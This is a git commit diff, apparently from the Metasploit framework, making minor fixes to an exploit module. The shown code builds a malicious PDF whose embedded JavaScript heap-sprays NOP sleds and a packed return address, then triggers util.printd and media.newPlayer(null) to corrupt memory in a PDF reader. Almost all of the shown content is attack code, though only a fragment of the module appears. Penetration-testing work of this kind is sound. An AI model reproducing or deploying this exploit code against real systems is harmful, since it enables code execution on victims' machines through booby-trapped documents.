fixed sync issues between browser/fileformat modules

git-svn-id: file:///home/svn/framework3/trunk@7902 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2009-12-17 05:19:30 +00:00
parent 2baa4a1efa
commit 026924c9b6
2 changed files with 6 additions and 7 deletions

View File

@ -94,14 +94,14 @@ class Metasploit3 < Msf::Exploit::Remote
# Make some nops
nops = Rex::Text.to_unescape(make_nops(4))
len = 72
# Randomize variables
#
len = 72
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(len/2);
rand5 = rand_text_alpha(len/2);
rand4 = rand_text_alpha(len/2)
rand5 = rand_text_alpha(len/2)
retstring = Rex::Text.to_unescape([target.ret].pack('V') + rand_text_alpha(len-4))
@ -112,7 +112,7 @@ var #{rand2} = unescape("#{nops}");
var #{rand3} = unescape("#{retstring}");
while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);
memory=new Array();
@ -123,7 +123,7 @@ for(i=0;i<0x2000;i++) {
util.printd("#{rand4}", new Date());
util.printd("#{rand5}", new Date());
try {this.media.newPlayer(null);} catch(e) {}
util.printd("#{rand3}", new Date());
util.printd(#{rand3}, new Date());
|
# Create the pdf
pdf = make_pdf(script)

View File

@ -181,7 +181,6 @@ util.printd(#{rand3}, new Date());
eol = "\x0d\x0a"
endobj = "endobj" << eol
# Randomize PDF version?
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
xref << pdf.length